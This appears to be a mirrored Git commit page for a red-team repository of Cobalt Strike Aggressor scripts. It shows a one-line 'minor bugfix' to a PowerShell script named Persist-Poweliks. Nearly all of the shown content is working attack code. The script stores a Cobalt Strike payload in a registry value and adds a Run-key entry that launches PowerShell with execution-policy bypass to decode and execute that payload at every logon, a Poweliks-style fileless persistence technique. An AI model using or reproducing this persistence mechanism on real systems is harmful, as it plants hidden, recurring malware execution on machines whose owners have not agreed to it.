admin/Und3rf10w-Aggressor-scripts
1
0
Fork 0
mirror of https://github.com/Und3rf10w/Aggressor-scripts synced 2026-06-08 12:46:53 +00:00
Code Issues Packages Projects Releases Wiki Activity

minor bugfix

Browse Source
This commit is contained in:
Jonathan Echavarria
2016-10-19 17:54:22 -04:00
parent 0120ac86c2
commit 53a36c4663
1 changed files with 1 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
kits/PersistKit/scripts/Persist-Poweliks.ps1
+1 -1
View File
@@ -30,5 +30,5 @@ PS C:\> Persist-Poweliks -cobaltstrike_gen_payload <provided by cobalt strike>
#Write the powershell bytecode to a key, $malformed_string, in HKLM:SOFTWARE\$malformed_string
new-ItemProperty -path "HKLM:SOFTWARE\$malformed_string" -name "$malformed_string" -value "$cobaltstrike_gen_payload"
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "powershell.exe -ep bypass iex ([Text.Encoding])::ASCII.GetString([Convert]::FromBase64String((gp `'HKCU:SOFTWARE\$malformed_string`').$malformed_string)));"
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "powershell.exe -ep bypass -c iex ([Text.Encoding])::ASCII.GetString([Convert]::FromBase64String((gp `'HKCU:SOFTWARE\$malformed_string`').$malformed_string)));"
}